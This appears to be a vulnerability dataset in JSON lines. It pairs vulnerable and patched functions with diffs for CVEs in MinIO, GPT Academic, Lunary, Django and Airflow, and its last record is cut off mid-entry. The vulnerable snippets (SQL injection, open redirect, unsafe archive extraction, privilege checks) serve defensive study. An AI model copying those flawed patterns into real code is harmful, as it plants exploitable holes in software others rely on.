{"cve_id": "CVE-2023-27589", "cve_description": "Minio is a Multi-Cloud Object Storage framework. Starting with RELEASE.2020-12-23T02-24-12Z and prior to RELEASE.2023-03-13T19-46-17Z, a user with `consoleAdmin` permissions can potentially create a user that matches the root credential `accessKey`. Once this user is created successfully, the root credential ceases to work appropriately. The issue is patched in RELEASE.2023-03-13T19-46-17Z. There are ways to work around this via adding higher privileges to the disabled root user via `mc admin policy set`.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/minio/minio", "patch_url": ["https://github.com/minio/minio/commit/c7f7e67a100ce35af559e3f49a2ed0b67deaa919"], "programing_language": "Go", "vul_func": [{"id": "vul_go_92_1", "commit": "628042e", "file_path": "cmd/admin-handlers-users.go", "start_line": "412", "end_line": "516", "snippet": "func (a adminAPIHandlers) AddUser(w http.ResponseWriter, r *http.Request) {\n\tctx := newContext(r, w, \"AddUser\")\n\n\tdefer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))\n\n\tvars := mux.Vars(r)\n\taccessKey := vars[\"accessKey\"]\n\n\t// Get current object layer instance.\n\tobjectAPI := newObjectLayerFn()\n\tif objectAPI == nil || globalNotificationSys == nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)\n\t\treturn\n\t}\n\n\tcred, owner, s3Err := validateAdminSignature(ctx, r, \"\")\n\tif s3Err != ErrNone {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(s3Err), r.URL)\n\t\treturn\n\t}\n\n\t// Not allowed to add a user with same access key as root credential\n\tif owner && accessKey == cred.AccessKey {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tuser, exists := globalIAMSys.GetUser(ctx, accessKey)\n\tif exists && (user.Credentials.IsTemp() || user.Credentials.IsServiceAccount()) {\n\t\t// Updating STS credential is not allowed, and this API does not\n\t\t// support updating service accounts.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tif (cred.IsTemp() || cred.IsServiceAccount()) && cred.ParentUser == accessKey {\n\t\t// Incoming access key matches parent user then we should\n\t\t// reject password change requests.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\t// Check if accessKey has beginning and end space characters, this only applies to new users.\n\tif !exists && hasSpaceBE(accessKey) {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminResourceInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tcheckDenyOnly := false\n\tif accessKey == cred.AccessKey {\n\t\t// Check that there is no explicit deny - otherwise it's allowed\n\t\t// to change one's own password.\n\t\tcheckDenyOnly = true\n\t}\n\n\tif !globalIAMSys.IsAllowed(iampolicy.Args{\n\t\tAccountName:     cred.AccessKey,\n\t\tGroups:          cred.Groups,\n\t\tAction:          iampolicy.CreateUserAdminAction,\n\t\tConditionValues: getConditionValues(r, \"\", cred),\n\t\tIsOwner:         owner,\n\t\tClaims:          cred.Claims,\n\t\tDenyOnly:        checkDenyOnly,\n\t}) {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n\t\treturn\n\t}\n\n\tif r.ContentLength > maxEConfigJSONSize || r.ContentLength == -1 {\n\t\t// More than maxConfigSize bytes were available\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigTooLarge), r.URL)\n\t\treturn\n\t}\n\n\tpassword := cred.SecretKey\n\tconfigBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))\n\tif err != nil {\n\t\tlogger.LogIf(ctx, err)\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)\n\t\treturn\n\t}\n\n\tvar ureq madmin.AddOrUpdateUserReq\n\tif err = json.Unmarshal(configBytes, &ureq); err != nil {\n\t\tlogger.LogIf(ctx, err)\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)\n\t\treturn\n\t}\n\n\tupdatedAt, err := globalIAMSys.CreateUser(ctx, accessKey, ureq)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\tlogger.LogIf(ctx, globalSiteReplicationSys.IAMChangeHook(ctx, madmin.SRIAMItem{\n\t\tType: madmin.SRIAMItemIAMUser,\n\t\tIAMUser: &madmin.SRIAMUser{\n\t\t\tAccessKey:   accessKey,\n\t\t\tIsDeleteReq: false,\n\t\t\tUserReq:     &ureq,\n\t\t},\n\t\tUpdatedAt: updatedAt,\n\t}))\n}"}], "fix_func": [{"id": "fix_go_92_1", "commit": "c7f7e67", "file_path": "cmd/admin-handlers-users.go", "start_line": "412", "end_line": "516", "snippet": "func (a adminAPIHandlers) AddUser(w http.ResponseWriter, r *http.Request) {\n\tctx := newContext(r, w, \"AddUser\")\n\n\tdefer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))\n\n\tvars := mux.Vars(r)\n\taccessKey := vars[\"accessKey\"]\n\n\t// Get current object layer instance.\n\tobjectAPI := newObjectLayerFn()\n\tif objectAPI == nil || globalNotificationSys == nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)\n\t\treturn\n\t}\n\n\tcred, owner, s3Err := validateAdminSignature(ctx, r, \"\")\n\tif s3Err != ErrNone {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(s3Err), r.URL)\n\t\treturn\n\t}\n\n\t// Not allowed to add a user with same access key as root credential\n\tif accessKey == globalActiveCred.AccessKey {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tuser, exists := globalIAMSys.GetUser(ctx, accessKey)\n\tif exists && (user.Credentials.IsTemp() || user.Credentials.IsServiceAccount()) {\n\t\t// Updating STS credential is not allowed, and this API does not\n\t\t// support updating service accounts.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tif (cred.IsTemp() || cred.IsServiceAccount()) && cred.ParentUser == accessKey {\n\t\t// Incoming access key matches parent user then we should\n\t\t// reject password change requests.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\t// Check if accessKey has beginning and end space characters, this only applies to new users.\n\tif !exists && hasSpaceBE(accessKey) {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminResourceInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tcheckDenyOnly := false\n\tif accessKey == cred.AccessKey {\n\t\t// Check that there is no explicit deny - otherwise it's allowed\n\t\t// to change one's own password.\n\t\tcheckDenyOnly = true\n\t}\n\n\tif !globalIAMSys.IsAllowed(iampolicy.Args{\n\t\tAccountName:     cred.AccessKey,\n\t\tGroups:          cred.Groups,\n\t\tAction:          iampolicy.CreateUserAdminAction,\n\t\tConditionValues: getConditionValues(r, \"\", cred),\n\t\tIsOwner:         owner,\n\t\tClaims:          cred.Claims,\n\t\tDenyOnly:        checkDenyOnly,\n\t}) {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n\t\treturn\n\t}\n\n\tif r.ContentLength > maxEConfigJSONSize || r.ContentLength == -1 {\n\t\t// More than maxConfigSize bytes were available\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigTooLarge), r.URL)\n\t\treturn\n\t}\n\n\tpassword := cred.SecretKey\n\tconfigBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))\n\tif err != nil {\n\t\tlogger.LogIf(ctx, err)\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)\n\t\treturn\n\t}\n\n\tvar ureq madmin.AddOrUpdateUserReq\n\tif err = json.Unmarshal(configBytes, &ureq); err != nil {\n\t\tlogger.LogIf(ctx, err)\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)\n\t\treturn\n\t}\n\n\tupdatedAt, err := globalIAMSys.CreateUser(ctx, accessKey, ureq)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\tlogger.LogIf(ctx, globalSiteReplicationSys.IAMChangeHook(ctx, madmin.SRIAMItem{\n\t\tType: madmin.SRIAMItemIAMUser,\n\t\tIAMUser: &madmin.SRIAMUser{\n\t\t\tAccessKey:   accessKey,\n\t\t\tIsDeleteReq: false,\n\t\t\tUserReq:     &ureq,\n\t\t},\n\t\tUpdatedAt: updatedAt,\n\t}))\n}"}], "vul_patch": "--- a/cmd/admin-handlers-users.go\n+++ b/cmd/admin-handlers-users.go\n@@ -20,7 +20,7 @@\n \t}\n \n \t// Not allowed to add a user with same access key as root credential\n-\tif owner && accessKey == cred.AccessKey {\n+\tif accessKey == globalActiveCred.AccessKey {\n \t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n \t\treturn\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-25185", "cve_description": "GPT Academic provides interactive interfaces for large language models. In 3.91 and earlier, GPT Academic does not properly account for soft links. An attacker can create a malicious file as a soft link pointing to a target file, then package this soft link file into a tar.gz file and upload it. Subsequently, when accessing the decompressed file from the server, the soft link will point to the target file on the victim server. The vulnerability allows attackers to read all files on the server.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/binary-husky/gpt_academic", "patch_url": ["https://github.com/binary-husky/gpt_academic/commit/5dffe8627f681d7006cebcba27def038bb691949"], "programing_language": "Python", "vul_func": [{"id": "vul_py_402_1", "commit": "2aefef26db62efd0b684f3c3f35c77432e54afff", "file_path": "shared_utils/handle_upload.py", "start_line": 91, "end_line": 157, "snippet": "def extract_archive(file_path, dest_dir):\n    import zipfile\n    import tarfile\n    import os\n\n    # Get the file extension of the input file\n    file_extension = os.path.splitext(file_path)[1]\n\n    # Extract the archive based on its extension\n    if file_extension == \".zip\":\n        with zipfile.ZipFile(file_path, \"r\") as zipobj:\n            zipobj._extract_member = lambda a,b,c: zip_extract_member_new(zipobj, a,b,c)    # \\u4fee\\u590d\\u4e2d\\u6587\\u4e71\\u7801\\u7684\\u95ee\\u9898\n            zipobj.extractall(path=dest_dir)\n            logger.info(\"Successfully extracted zip archive to {}\".format(dest_dir))\n\n    elif file_extension in [\".tar\", \".gz\", \".bz2\"]:\n        try:\n            with tarfile.open(file_path, \"r:*\") as tarobj:\n                # \\u6e05\\u7406\\u63d0\\u53d6\\u8def\\u5f84\\uff0c\\u79fb\\u9664\\u4efb\\u4f55\\u4e0d\\u5b89\\u5168\\u7684\\u5143\\u7d20\n                for member in tarobj.getmembers():\n                    member_path = os.path.normpath(member.name)\n                    full_path = os.path.join(dest_dir, member_path)\n                    full_path = os.path.abspath(full_path)\n                    if member.islnk() or member.issym():\n                        raise Exception(f\"Attempted Symlink in {member.name}\")\n                    if not full_path.startswith(os.path.abspath(dest_dir) + os.sep):\n                        raise Exception(f\"Attempted Path Traversal in {member.name}\")\n\n                tarobj.extractall(path=dest_dir)\n                logger.info(\"Successfully extracted tar archive to {}\".format(dest_dir))\n        except tarfile.ReadError as e:\n            if file_extension == \".gz\":\n                # \\u4e00\\u4e9b\\u7279\\u522b\\u5947\\u8469\\u7684\\u9879\\u76ee\\uff0c\\u662f\\u4e00\\u4e2agz\\u6587\\u4ef6\\uff0c\\u91cc\\u9762\\u4e0d\\u662ftar\\uff0c\\u53ea\\u6709\\u4e00\\u4e2atex\\u6587\\u4ef6\n                import gzip\n                with gzip.open(file_path, 'rb') as f_in:\n                    with open(os.path.join(dest_dir, 'main.tex'), 'wb') as f_out:\n                        f_out.write(f_in.read())\n            else:\n                raise e\n\n    # \\u7b2c\\u4e09\\u65b9\\u5e93\\uff0c\\u9700\\u8981\\u9884\\u5148pip install rarfile\n    # \\u6b64\\u5916\\uff0cWindows\\u4e0a\\u8fd8\\u9700\\u8981\\u5b89\\u88c5winrar\\u8f6f\\u4ef6\\uff0c\\u914d\\u7f6e\\u5176Path\\u73af\\u5883\\u53d8\\u91cf\\uff0c\\u5982\"C:\\Program Files\\WinRAR\"\\u624d\\u53ef\\u4ee5\n    elif file_extension == \".rar\":\n        try:\n            import rarfile\n\n            with rarfile.RarFile(file_path) as rf:\n                rf.extractall(path=dest_dir)\n                logger.info(\"Successfully extracted rar archive to {}\".format(dest_dir))\n        except:\n            logger.info(\"Rar format requires additional dependencies to install\")\n            return \"\\n\\n\\u89e3\\u538b\\u5931\\u8d25! \\u9700\\u8981\\u5b89\\u88c5pip install rarfile\\u6765\\u89e3\\u538brar\\u6587\\u4ef6\\u3002\\u5efa\\u8bae\\uff1a\\u4f7f\\u7528zip\\u538b\\u7f29\\u683c\\u5f0f\\u3002\"\n\n    # \\u7b2c\\u4e09\\u65b9\\u5e93\\uff0c\\u9700\\u8981\\u9884\\u5148pip install py7zr\n    elif file_extension == \".7z\":\n        try:\n            import py7zr\n\n            with py7zr.SevenZipFile(file_path, mode=\"r\") as f:\n                f.extractall(path=dest_dir)\n                logger.info(\"Successfully extracted 7z archive to {}\".format(dest_dir))\n        except:\n            logger.info(\"7z format requires additional dependencies to install\")\n            return \"\\n\\n\\u89e3\\u538b\\u5931\\u8d25! \\u9700\\u8981\\u5b89\\u88c5pip install py7zr\\u6765\\u89e3\\u538b7z\\u6587\\u4ef6\"\n    else:\n        return \"\"\n    return \"\""}], "fix_func": [{"id": "fix_py_402_1", "commit": "5dffe8627f681d7006cebcba27def038bb691949", "file_path": "shared_utils/handle_upload.py", "start_line": 117, "end_line": 180, "snippet": "def extract_archive(file_path, dest_dir):\n    import zipfile\n    import tarfile\n    import os\n\n    # Get the file extension of the input file\n    file_extension = os.path.splitext(file_path)[1]\n\n    # Extract the archive based on its extension\n    if file_extension == \".zip\":\n        with zipfile.ZipFile(file_path, \"r\") as zipobj:\n            zipobj._extract_member = lambda a,b,c: zip_extract_member_new(zipobj, a,b,c)    # \\u4fee\\u590d\\u4e2d\\u6587\\u4e71\\u7801\\u7684\\u95ee\\u9898\n            zipobj.extractall(path=dest_dir)\n            logger.info(\"Successfully extracted zip archive to {}\".format(dest_dir))\n\n    elif file_extension in [\".tar\", \".gz\", \".bz2\"]:\n        try:\n            with tarfile.open(file_path, \"r:*\") as tarobj:\n                # \\u6e05\\u7406\\u63d0\\u53d6\\u8def\\u5f84\\uff0c\\u79fb\\u9664\\u4efb\\u4f55\\u4e0d\\u5b89\\u5168\\u7684\\u5143\\u7d20\n                for member in tarobj.getmembers():\n                    member_path = os.path.normpath(member.name)\n                    full_path = os.path.join(dest_dir, member_path)\n                    full_path = os.path.abspath(full_path)\n                    if member.islnk() or member.issym():\n                        raise Exception(f\"Attempted Symlink in {member.name}\")\n                    if not full_path.startswith(os.path.abspath(dest_dir) + os.sep):\n                        raise Exception(f\"Attempted Path Traversal in {member.name}\")\n\n                tarobj.extractall(path=dest_dir)\n                logger.info(\"Successfully extracted tar archive to {}\".format(dest_dir))\n        except tarfile.ReadError as e:\n            if file_extension == \".gz\":\n                # \\u4e00\\u4e9b\\u7279\\u522b\\u5947\\u8469\\u7684\\u9879\\u76ee\\uff0c\\u662f\\u4e00\\u4e2agz\\u6587\\u4ef6\\uff0c\\u91cc\\u9762\\u4e0d\\u662ftar\\uff0c\\u53ea\\u6709\\u4e00\\u4e2atex\\u6587\\u4ef6\n                import gzip\n                with gzip.open(file_path, 'rb') as f_in:\n                    with open(os.path.join(dest_dir, 'main.tex'), 'wb') as f_out:\n                        f_out.write(f_in.read())\n            else:\n                raise e\n\n    # \\u7b2c\\u4e09\\u65b9\\u5e93\\uff0c\\u9700\\u8981\\u9884\\u5148pip install rarfile\n    # \\u6b64\\u5916\\uff0cWindows\\u4e0a\\u8fd8\\u9700\\u8981\\u5b89\\u88c5winrar\\u8f6f\\u4ef6\\uff0c\\u914d\\u7f6e\\u5176Path\\u73af\\u5883\\u53d8\\u91cf\\uff0c\\u5982\"C:\\Program Files\\WinRAR\"\\u624d\\u53ef\\u4ee5\n    elif file_extension == \".rar\":\n        try:\n            import rarfile  # \\u7528\\u6765\\u68c0\\u67e5rarfile\\u662f\\u5426\\u5b89\\u88c5\\uff0c\\u4e0d\\u8981\\u5220\\u9664\n            safe_extract_rar(file_path, dest_dir)\n        except:\n            logger.info(\"Rar format requires additional dependencies to install\")\n            return \"<br/><br/>\\u89e3\\u538b\\u5931\\u8d25! \\u9700\\u8981\\u5b89\\u88c5pip install rarfile\\u6765\\u89e3\\u538brar\\u6587\\u4ef6\\u3002\\u5efa\\u8bae\\uff1a\\u4f7f\\u7528zip\\u538b\\u7f29\\u683c\\u5f0f\\u3002\"\n\n    # \\u7b2c\\u4e09\\u65b9\\u5e93\\uff0c\\u9700\\u8981\\u9884\\u5148pip install py7zr\n    elif file_extension == \".7z\":\n        try:\n            import py7zr\n\n            with py7zr.SevenZipFile(file_path, mode=\"r\") as f:\n                f.extractall(path=dest_dir)\n                logger.info(\"Successfully extracted 7z archive to {}\".format(dest_dir))\n        except:\n            logger.info(\"7z format requires additional dependencies to install\")\n            return \"<br/><br/>\\u89e3\\u538b\\u5931\\u8d25! \\u9700\\u8981\\u5b89\\u88c5pip install py7zr\\u6765\\u89e3\\u538b7z\\u6587\\u4ef6\"\n    else:\n        return \"\"\n    return \"\""}], "vul_patch": "--- a/shared_utils/handle_upload.py\n+++ b/shared_utils/handle_upload.py\n@@ -42,14 +42,11 @@\n     # \\u6b64\\u5916\\uff0cWindows\\u4e0a\\u8fd8\\u9700\\u8981\\u5b89\\u88c5winrar\\u8f6f\\u4ef6\\uff0c\\u914d\\u7f6e\\u5176Path\\u73af\\u5883\\u53d8\\u91cf\\uff0c\\u5982\"C:\\Program Files\\WinRAR\"\\u624d\\u53ef\\u4ee5\n     elif file_extension == \".rar\":\n         try:\n-            import rarfile\n-\n-            with rarfile.RarFile(file_path) as rf:\n-                rf.extractall(path=dest_dir)\n-                logger.info(\"Successfully extracted rar archive to {}\".format(dest_dir))\n+            import rarfile  # \\u7528\\u6765\\u68c0\\u67e5rarfile\\u662f\\u5426\\u5b89\\u88c5\\uff0c\\u4e0d\\u8981\\u5220\\u9664\n+            safe_extract_rar(file_path, dest_dir)\n         except:\n             logger.info(\"Rar format requires additional dependencies to install\")\n-            return \"\\n\\n\\u89e3\\u538b\\u5931\\u8d25! \\u9700\\u8981\\u5b89\\u88c5pip install rarfile\\u6765\\u89e3\\u538brar\\u6587\\u4ef6\\u3002\\u5efa\\u8bae\\uff1a\\u4f7f\\u7528zip\\u538b\\u7f29\\u683c\\u5f0f\\u3002\"\n+            return \"<br/><br/>\\u89e3\\u538b\\u5931\\u8d25! \\u9700\\u8981\\u5b89\\u88c5pip install rarfile\\u6765\\u89e3\\u538brar\\u6587\\u4ef6\\u3002\\u5efa\\u8bae\\uff1a\\u4f7f\\u7528zip\\u538b\\u7f29\\u683c\\u5f0f\\u3002\"\n \n     # \\u7b2c\\u4e09\\u65b9\\u5e93\\uff0c\\u9700\\u8981\\u9884\\u5148pip install py7zr\n     elif file_extension == \".7z\":\n@@ -61,7 +58,7 @@\n                 logger.info(\"Successfully extracted 7z archive to {}\".format(dest_dir))\n         except:\n             logger.info(\"7z format requires additional dependencies to install\")\n-            return \"\\n\\n\\u89e3\\u538b\\u5931\\u8d25! \\u9700\\u8981\\u5b89\\u88c5pip install py7zr\\u6765\\u89e3\\u538b7z\\u6587\\u4ef6\"\n+            return \"<br/><br/>\\u89e3\\u538b\\u5931\\u8d25! \\u9700\\u8981\\u5b89\\u88c5pip install py7zr\\u6765\\u89e3\\u538b7z\\u6587\\u4ef6\"\n     else:\n         return \"\"\n     return \"\"\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-7472", "cve_description": "lunary-ai/lunary v1.2.26 contains an email injection vulnerability in the Send email verification API (/v1/users/send-verification) and Sign up API (/auth/signup). An unauthenticated attacker can inject data into outgoing emails by bypassing the extractFirstName function using a different whitespace character (e.g., \\xa0). This vulnerability can be exploited to conduct phishing attacks, damage the application's brand, cause legal and compliance issues, and result in financial impact due to unauthorized email usage.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/lunary-ai/lunary", "patch_url": ["https://github.com/lunary-ai/lunary/commit/a39837d7c49936a0c435d241f37ca2ea7904d2cd"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_139_1", "commit": "35afd4439464571eb016318cd7b6f85a162225ca", "file_path": "packages/backend/src/utils/emails.ts", "start_line": 4, "end_line": 7, "snippet": "function extractFirstName(name: string) {\n  if (!name) return \"there\"\n  return name.split(\" \")[0]\n}"}], "fix_func": [{"id": "fix_js_139_1", "commit": "a39837d7c49936a0c435d241f37ca2ea7904d2cd", "file_path": "packages/backend/src/utils/emails.ts", "start_line": 4, "end_line": 12, "snippet": "function sanitizeName(name: string): string {\n  return name.replace(/\\s+/g, \" \").trim()\n}\n\nfunction extractFirstName(name: string): string {\n  if (!name) return \"there\"\n  const sanitizedName = sanitizeName(name)\n  return sanitizedName.split(\" \")[0]\n}"}], "vul_patch": "--- a/packages/backend/src/utils/emails.ts\n+++ b/packages/backend/src/utils/emails.ts\n@@ -1,4 +1,9 @@\n-function extractFirstName(name: string) {\n+function sanitizeName(name: string): string {\n+  return name.replace(/\\s+/g, \" \").trim()\n+}\n+\n+function extractFirstName(name: string): string {\n   if (!name) return \"there\"\n-  return name.split(\" \")[0]\n+  const sanitizedName = sanitizeName(name)\n+  return sanitizedName.split(\" \")[0]\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7471", "cve_description": "Django 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 before 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg delimiter (e.g., in Django applications that offer downloads of data as a series of rows with a user-specified column delimiter). By passing a suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg instance, it was possible to break escaping and inject malicious SQL.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136", "https://github.com/django/django/commit/001b0634cd309e372edb6d7d95d083d02b8e37bd", "https://github.com/django/django/commit/505826b469b16ab36693360da9e11fd13213421b", "https://github.com/django/django/commit/c67a368c16e4680b324b4f385398d638db4d8147"], "programing_language": "Python", "vul_func": [{"id": "vul_py_206_1", "commit": "6b178a3", "file_path": "django/contrib/postgres/aggregates/general.py", "start_line": 52, "end_line": 63, "snippet": "class StringAgg(OrderableAggMixin, Aggregate):\n    function = 'STRING_AGG'\n    template = \"%(function)s(%(distinct)s%(expressions)s, '%(delimiter)s'%(ordering)s)\"\n    allow_distinct = True\n\n    def __init__(self, expression, delimiter, **extra):\n        super().__init__(expression, delimiter=delimiter, **extra)\n\n    def convert_value(self, value, expression, connection):\n        if not value:\n            return ''\n        return value"}], "fix_func": [{"id": "fix_py_206_1", "commit": "eb31d84", "file_path": "django/contrib/postgres/aggregates/general.py", "start_line": 53, "end_line": 65, "snippet": "class StringAgg(OrderableAggMixin, Aggregate):\n    function = 'STRING_AGG'\n    template = '%(function)s(%(distinct)s%(expressions)s %(ordering)s)'\n    allow_distinct = True\n\n    def __init__(self, expression, delimiter, **extra):\n        delimiter_expr = Value(str(delimiter))\n        super().__init__(expression, delimiter_expr, **extra)\n\n    def convert_value(self, value, expression, connection):\n        if not value:\n            return ''\n        return value"}], "vul_patch": "--- a/django/contrib/postgres/aggregates/general.py\n+++ b/django/contrib/postgres/aggregates/general.py\n@@ -1,10 +1,11 @@\n class StringAgg(OrderableAggMixin, Aggregate):\n     function = 'STRING_AGG'\n-    template = \"%(function)s(%(distinct)s%(expressions)s, '%(delimiter)s'%(ordering)s)\"\n+    template = '%(function)s(%(distinct)s%(expressions)s %(ordering)s)'\n     allow_distinct = True\n \n     def __init__(self, expression, delimiter, **extra):\n-        super().__init__(expression, delimiter=delimiter, **extra)\n+        delimiter_expr = Value(str(delimiter))\n+        super().__init__(expression, delimiter_expr, **extra)\n \n     def convert_value(self, value, expression, connection):\n         if not value:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-43985", "cve_description": "In Apache Airflow versions prior to 2.4.2, there was an open redirect in the webserver's `/confirm` endpoint.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/9fb4814d29d934cef3b02fb3b2547f9fb76aaa97"], "programing_language": "Python", "vul_func": [{"id": "vul_go_177_1", "commit": "2987801", "file_path": "airflow/www/views.py", "start_line": 156, "end_line": 178, "snippet": "def get_safe_url(url):\n    \"\"\"Given a user-supplied URL, ensure it points to our web server\"\"\"\n    valid_schemes = ['http', 'https', '']\n    valid_netlocs = [request.host, '']\n\n    if not url:\n        return url_for('Airflow.index')\n\n    parsed = urlparse(url)\n\n    # If the url contains semicolon, redirect it to homepage to avoid\n    # potential XSS. (Similar to https://github.com/python/cpython/pull/24297/files (bpo-42967))\n    if ';' in unquote(url):\n        return url_for('Airflow.index')\n\n    query = parse_qsl(parsed.query, keep_blank_values=True)\n\n    url = parsed._replace(query=urlencode(query)).geturl()\n\n    if parsed.scheme in valid_schemes and parsed.netloc in valid_netlocs:\n        return url\n\n    return url_for('Airflow.index')"}], "fix_func": [{"id": "fix_go_177_1", "commit": "9fb4814", "file_path": "airflow/www/views.py", "start_line": 156, "end_line": 172, "snippet": "def get_safe_url(url):\n    \"\"\"Given a user-supplied URL, ensure it points to our web server\"\"\"\n    if not url:\n        return url_for('Airflow.index')\n\n    # If the url contains semicolon, redirect it to homepage to avoid\n    # potential XSS. (Similar to https://github.com/python/cpython/pull/24297/files (bpo-42967))\n    if ';' in unquote(url):\n        return url_for('Airflow.index')\n\n    host_url = urlsplit(request.host_url)\n    redirect_url = urlsplit(urljoin(request.host_url, url))\n    if not (redirect_url.scheme in (\"http\", \"https\") and host_url.netloc == redirect_url.netloc):\n        return url_for('Airflow.index')\n\n    # This will ensure we only redirect to the right scheme/netloc\n    return redirect_url.geturl()"}], "vul_patch": "--- a/airflow/www/views.py\n+++ b/airflow/www/views.py\n@@ -1,23 +1,17 @@\n def get_safe_url(url):\n     \"\"\"Given a user-supplied URL, ensure it points to our web server\"\"\"\n-    valid_schemes = ['http', 'https', '']\n-    valid_netlocs = [request.host, '']\n-\n     if not url:\n         return url_for('Airflow.index')\n-\n-    parsed = urlparse(url)\n \n     # If the url contains semicolon, redirect it to homepage to avoid\n     # potential XSS. (Similar to https://github.com/python/cpython/pull/24297/files (bpo-42967))\n     if ';' in unquote(url):\n         return url_for('Airflow.index')\n \n-    query = parse_qsl(parsed.query, keep_blank_values=True)\n+    host_url = urlsplit(request.host_url)\n+    redirect_url = urlsplit(urljoin(request.host_url, url))\n+    if not (redirect_url.scheme in (\"http\", \"https\") and host_url.netloc == redirect_url.netloc):\n+        return url_for('Airflow.index')\n \n-    url = parsed._replace(query=urlencode(query)).geturl()\n-\n-    if parsed.scheme in valid_schemes and parsed.netloc in valid_netlocs:\n-        return url\n-\n-    return url_for('Airflow.index')\n+    # This will ensure we only redirect to the right scheme/netloc\n+    return redirect_url.geturl()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-1000070", "cve_description": "Bitmessage PyBitmessage version v0.6.2 (and introduced in or after commit 8ce72d8d2d25973b7064b1cf76a6b0b3d62f0ba0) contains a Eval injection vulnerability in main program, file src/messagetypes/__init__.py function constructObject that can result in Code Execution. This attack appears to be exploitable via remote attacker using a malformed message which must be processed by the victim - e.g. arrive from any sender on bitmessage network. This vulnerability appears to have been fixed in v0.6.3.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/Bitmessage/PyBitmessage", "patch_url": ["https://github.com/Bitmessage/PyBitmessage/commit/3a8016d31f517775d226aa8b902480f4a3a148a9"], "programing_language": "Python", "vul_func": 